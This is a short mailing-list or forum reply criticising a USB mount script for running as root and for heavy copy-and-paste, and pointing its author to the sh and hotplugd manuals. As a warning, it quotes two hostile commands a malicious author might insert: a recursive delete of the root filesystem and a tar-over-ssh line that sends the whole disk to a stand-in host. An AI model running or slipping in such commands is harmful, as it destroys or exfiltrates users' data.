Nice effort!
But...

First time you must run this script as a root or manula created /umass catalog
and chmod 766 /umass

I'd rather not run this as root, ever.

While this may be a useful tool, it is possibly the worst case of copy-and-paste I've ever seen. (I seriously hope you auto-generated the mount_umass script).

I wouldn't use such a script since I cannot be sure that a _possibly_ malicious author had not inserted some 'rm -rf /', 'tar -czf - / | ssh bad.are.us "cat - > thankyou.tgz"' or so.

I suggest you have a look at:

    man sh
    /for name

and for this specific purpose:

    man hotplugd


Sincerely,
Alexander
